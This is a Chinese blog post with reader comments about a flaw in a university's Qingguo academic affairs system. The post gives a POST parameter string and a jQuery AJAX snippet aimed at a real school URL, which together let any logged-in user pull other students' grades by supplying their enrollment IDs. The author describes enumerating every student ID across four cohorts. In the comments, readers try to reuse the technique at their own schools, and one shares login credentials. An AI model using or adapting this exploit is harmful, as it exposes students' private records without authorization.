青果之恋教务管理系统查询所有学生成绩

       做一个让Chrome能正常登陆学校教务管理系统的Chrome扩展,偶然发现在正常登陆一个帐号的情况下,提交以下数据可以查询任何在校生的成绩

"SJ=1&btn_search=%BC%EC%CB%F7&SelXNXQ=0&txt_xm=20090000xxxx&zfx_flag=0&zxf=0"

其中12位的txt_xm就是入学时的编号,记得每学年交学费的时候都是通过该号码。2009代表了入学的年份,接下来四位一般都是零,再接下来的四位数就视该学年的学生数目而定了..其它参数则对应的是查询某学年的成绩或其它各种选项

$.ajax({
        type: "POST",
        url: "http://jx.hncu.net:8083/xscj/Stu_MyScore_rpt.aspx",
        data:  'SJ=1&btn_search=%BC%EC%CB%F7&SelXNXQ=0&txt_xm=这十二位自己定&zfx_flag=0&zxf=0',
        timeout: 10000,
        dataType: "text",
        success: function (html) {
            var wnd=window.open("", "newwin", "height=700, width=1000,toolbar=no,menubar=no");
            wnd.document.write(html.indexOf('绩点')>-1 ? html : '<h1>我勒个去,没有找到相关数据!请确定您没有穿越?</h1>');
        }
});

执行即可查到指定学生的成绩

然后蛋疼用Python遍历了学校09级到12级的所有学生的那个编号及对应的学号  ····接下来搞个成绩查询助手  

《青果之恋教务管理系统查询所有学生成绩》上有52条评论

                    1. 前辈一般都是比我年龄大的。。 QQ372581789 希望前辈帮忙看看 。学校没有外网连接~

  1. 楼主好厉害!不过我不太懂这方面,请问楼主是不是用chrome浏览器登录青果系统就可以?然后那些代码要从哪里提交,需要安装iQuery软件吗?谢谢!

      1. 试过了,chrome做了ie tab扩展才能登录,把代码中的url也换成我们学校网址了,然后还是有warning,执行不了。我是在家上的学校教务系统外网,这个会不会有影响呢?烦请帮我看下下~网址、账号还有密码用微博私信你了,谢谢!~o(∩_∩)o

        1. 收到了 ~过去看了下你们学校的那个青果教务管理系统,貌似升级了 现在无需提交txt_xm这个参数…..也就是无法查询别人的了

      2. TypeError: Object function bound(var_args) { return func.apply(thisObject, args.concat(slice(arguments))); } has no method ‘ajax’
        message: "Object function bound(var_args)↵ {↵ return func.apply(thisObject, args.concat(slice(arguments)));↵ } has no method ‘ajax’"
        stack: (…)
        get stack: function () { [native code] }
        set stack: function () { [native code] }
        __proto__: Error

      3. chrome按ctrl+shift+j 粘贴哪段代码?第一段还是第二段?剩下的一段怎么用啊?红字has no method ‘ajax’"怎么回事

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据